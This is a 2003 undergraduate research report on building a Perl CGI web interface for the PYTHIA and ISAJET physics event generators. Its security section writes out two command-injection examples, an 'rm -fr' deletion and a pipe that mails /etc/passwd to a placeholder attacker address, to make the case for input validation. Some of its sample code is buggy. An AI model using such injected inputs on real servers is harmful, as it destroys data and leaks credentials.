Web-interface for Monte-Carlo event generators

Jonathan Blender
Applied and Engineering Physics, Cornell University,

Under Professor K. Matchev and Doctoral Candidate R.C. Group
Sponsored by the University of Florida REU program, August 1st 2003

Abstract

High Energy Physics is largely dependent on the use of Monte-Carlo event generators to understand the results of experimental data. Under Professor Matchev and Craig Group, I have created a web-based interface for these generators so that inexperienced users, as well as experienced users without computing resources, may use event generators using University of Florida computing power. This project made use of HTML, JavaScript, PERL, and UNIX programming languages to complete the task of creating a fully functional website. Please visit the site at http://www.phys.ufl.edu/~jblender .

Introduction

The field of High Energy Physics studies the fundamental laws of the universe by observing reactions at very high energies. The field is basically divided up into two sections: the theorists and the experimentalists. The high-energy theorists are the ones who propose new theories about the origins of the universe, or the fundamental laws of physics. They formulate mathematical theories and check their agreement with known physical law. However, to find out

whether they are actually right or not, their theories must be put to a real test. This is the area of the experimentalists. Experimentalists run tests at particle accelerators where two particles are given a tremendous amount of energy, and collided into each other. The result is that all the energy given to the particle prior to the collision is transformed into a new particle, by the familiar formula given by Einstein ($E=mc^2$). The initial result of the collision is what interests theorists the most. The particle created directly on impact is the subject of the experiment. However, this particle is not directly observable because of its incredibly short lifespan. Shortly after the creation of this particle ($\sim 4 \times 10^{-24}$ s for the top quark), it decays into other, smaller particles. These particles then decay further into lighter and more stable particles. This process continues into a chain reaction of decays, until a final observable state is reached. This is what it measured by the experimentalists. However, at this point, there are anywhere from 250 to thousands of particles that are present and detected. To turn this data into useful information, we need another piece of information. This is where event generators come in. Event generators are computer simulation programs that use the Monte-Carlo Method to predict what we should see in our spread, given certain initial particles and reactions.

Purpose

The purpose of this project is to provide a user-friendly environment for event generators, so that people without a formal education in the matter (and also those with a formal

education but no computing power) can use these generators with ease. The goal is to set up a web page, accessible from the World Wide Web, that allows users of all skill levels to use event generators like PYTHIA and ISAJET by running them on the UF web-server. The process requires an HTML form (equipped with Java scripting) to collect the user supplied data, and then CGI scripting to run the event generators on the UF server and display the output back to the user.

Background

To complete this project, it was necessary to make use of three web languages, and one operating system language (Linux/UNIX). In addition to this, a basic knowledge of web-design and Internet protocol was needed to properly make use of all the tools at hand. But why was this important? To successfully complete a dynamic and functional web page, one must first understand the way that the Internet functions. To start, we must first understand the server-client relationship. Each time someone accesses a web page, a transfer of data occurs. A client who is connected to the Internet (the person viewing the web page, or more accurately, the browser they are using) speaks to a server (the infrastructure that contains the data the client wishes to read) and asks for the web page he or she wants to view. The server then gives the client the web page, which is simply information in a ".html" file. This file is really just a text file. An HTML document is written in plain text. It is only when a web browser reads this document

that the HTML gets translated (technically called "interpreted" because HTML is an "interpreted" language, not a compiled one) into the colorful poster-like document you see on the web. So basically what happens here is that a browser asks a server for a text file, the server gives them the text file, and the client reads the file and interprets the HTML into graphics. This is how we view web pages. However, one important aspect of this relationship is not immediately obvious. At this point, the server is no longer necessary to facilitate the client's browsing. Once the client receives the .html file, the web page is now "client-side" data. The client could save the .html file, disconnect from the internet, and view the web page whenever it wanted, without being connected to the server the file came from, or the internet at all. However, once the viewer wants to navigate to another link (open another web page) or take some other action, it needs to negotiate to the server for another request, and therefore be connected to the Internet and the server.

Knowledge of the server-client relationship is important in understanding how the rest of the programming languages are used. The next language in the process is JavaScript. JavaScript is what is known as a scripting language. It is not the only one, but it is probably the most popular. JavaScript is what makes a web page dynamic. JavaScript looks more like a regular programming language, comprised of logical comparison statements, mathematics, and object oriented programming (OOP). An example of such code is as follows:

```
for (ii=0; ii=<10;ii++) { if (ii>3) {document.write("The for loop is on its" + ii + "th iteration.")}}
```

In this particular line, the code in the { } gets run, starting when ii=0, until ii>10, and ii increases by 1 every time. The code in the second set of { } gets run if ii>3. This sort of conditional statement is how JavaScript allows web pages to be dynamic. JavaScript, like HTML, is a client-side function. JavaScript is written into the document just as HTML is, so it too is simply text that is interpreted by the browser upon reading. However, this time what comes out is not a static graphic, but moving, changing, and responding parts.

At this point another important fact comes to our attention: if HTML and JavaScript are client-side processes, then how can a web page access data and programs on the server? The answer is that most of the time, they can't. Because HTML and JavaScript are operated and controlled (with proper knowledge) on the client-side without the need for a connection to the server, the files that hold the data must be given up freely to the client. Hence, the files must have at least "read access" for those who qualify as "other." There are three types of access to be granted on a file and three types of user groupings: "read (r), write (w) and execute (x)" access, and "user (u), group (g), and others (o)" users. An example file who has read, write and execute access for the user, and read access for all others would appear as follows: "-rwxr--r--" for the groups "-uuugggooo". What this all means is that a client asking for a web page is asking for a document that has at least the permissions "-------r--" so that "others" can "read" it. At this

point, it is obvious that the server doesn't want others to have access to certain files. The permissions for such a file might be"-rw-r--r--" which allows the user to read or write to the file, and all others to only read it. This will protect others from changing private code. In this project, the foundations are the programs PYTHIA and ISAJET, which are written in Fortran and compiled on a computer before running. An administrator wouldn't want someone altering the code for these programs arbitrarily or running them without their knowledge. Hence an administrator will definitely not give anything but read access to others. But if other people can only read the code, and HTML and JavaScript are only given permissions as "others," then how can the website ever be useful to anyone? The answer lies with PERL.

PERL is another programming language, not too different in appearance from JavaScript. However, one enormous difference lies where it cannot be seen. PERL is not a client-side program; it is a server-side one. PERL is the scripting language for a process known as CGI (common gateway interface) which allows more than client-side actions to be incorporated into a web page. To run such a program, a client must access a file with a ".cgi" extension instead of a ".html". When this happens, instead of "please give me the HTML document" the client asks the server, "please run the CGI script for me." At this point, the server will proceed to run commands in its own directory structure as dictated by the PERL script. At the end of the script, the PERL program must spit out a signal to "Standard Out" (STDOUT) (in most cases, STDOUT points to the monitor, but in this case, it basically points to the client). This

signal must be in the form of an HTML page, so that the client's browser can have a data file to read. So first the PERL script issues any number of server side commands, but in the end, the only thing that the browser sees is what PERL sends back to it. The browser does not get to see the PERL code at all. If a browser were to save the HTML file and open it later, it would only contain what PERL gave it, not the PERL code. This makes PERL a very helpful and safe language to use for web-design.

Procedure

The first job in creating a functioning website that will run these event generators is to create an HTML page to receive users. A potential user will come to this page for the start of the site and be shown explanatory information about the ideas behind the programs he or she will be running. This page (or series of pages) will direct the user to the appropriate form page, depending on which program he or she wishes to run.

The second job is to create the web pages for form data retrieval. These pages will be composed of HTML, equipped with JavaScript, to take in and direct the flow of user input. The problem with a strictly HTML form page is that the data entry will be a dynamic process. After the HTML links bring the user to the page that has the form for the program he or she wishes to run, there is still another task of selecting the correct data to input. For each way to run the program not only are the parameters different, and not only are there a different number of parameters, but

also the parameters themselves affect the value or number of other parameters. For example, (purely hypothetical) if I want an energy of 14,000, then I can pick any number of iterations, but if I want an energy of 20,000, then perhaps I can only run from 20-50 iterations. It is not good policy to depend on the user to know this beforehand, and to implement the rules correctly, so I used JavaScript to make sure that the user only picks what he or she is supposed to pick.

The next job is to handle the form data. Because these data need to be used to run programs server-side, we must use PERL to do this. In the end we will want to run a program off of this user supplied input, but there are a few more steps to take before this. Before we even think about handling the data, a very important issue of security must be dealt with. What is not secure in this situation? A few examples follow:

1) Let's say we had a program that used the Internet address as a system command. In this case, if we were to append something like

```
; rm -fr;
```

to the path, then our program might end up deleting a bunch of files that were important to us.

2) If we were creating a file or opening one, a hacker could email him/herself all our passwords by using

```
| mail me@hackedyou.com < /etc/passwd
```

as the filename [1].

So how can this be avoided? To protect the web-server, the PERL script must validate all of the data that get passed to it from the user. When a user fills out the form and hits "submit," the data the user enters is passed to the next page through the address bar. After the address, there is a

"?" followed by all the information the user entered to the form in "$name=$value" format, separated by an "&", so that the address bar looks like:

http://www.phys.ufl.edu/~jblender/cgi-bin/isajet/form.cgi?var1=3&var2=44&var3=54345

This is where all the data are, and they are passed to the PERL script through the Environmental Variable " `$ENV{QUERY_STRING}` ". The script uses this variable to get all the data, and use them in the rest of its code. Once the data are separated and assigned to variables in the program, we can evaluate the data for security. To do this, we simply think about what variable names and values we wish to allow, and then if we get any names or values that don't fit this criteria, we do not use those variables, and proceed to take a safe course of action, like ending the script and giving an error report. A sample security code might look like this:

```
if (  ~($name eq "energy")  &&  ($value >300)   ) { last ; &errorpage }
```

If the name of the variable isn't "energy," and the value of it is greater than 300, then the loop stops, and it returns an error page. The security algorithms for this website are much more in depth and are about a page long, but they will not be shown in this report so as to prevent any security risks.

Once the script has determined that the data are good, it will begin running the programs. The first step is to create input files. The PERL script writes the input data to a text file of some sort, and the computer uses this text file as the input parameters. For the Isajet program, the input file is simply a text file that gets passed as an input file in the system command. For PYTHIA, the story is more complex. The first step is to write a ".f" file, which is a Fortran file. Then the Fortran file needs to be compiled and an executable program is created, which will then be run to produce the output we are looking for. The output from these programs is created, preformatted by the program, as a text file. PERL again is used to open this file and print it line by line to the output screen.

PERL is the key to creating the truly meaningful functions of this website. Other abilities given to the website by PERL are:

1) Using output from Isajet as input for PYTHIA
2) Locking out users from the site if someone is already using it
3) Creating a web counter and guest book
4) Tracking information on all users of the site

Because of PERL's ability to interface with the server, all these abilities are possible. To view the website and test out any of these features, please visit

`http://www.phys.ufl.edu/~jblender.`

Reference Page

[1] D. Medinets, *PERL by Example* (QueCorporation, Indianapolis, IN, 1996).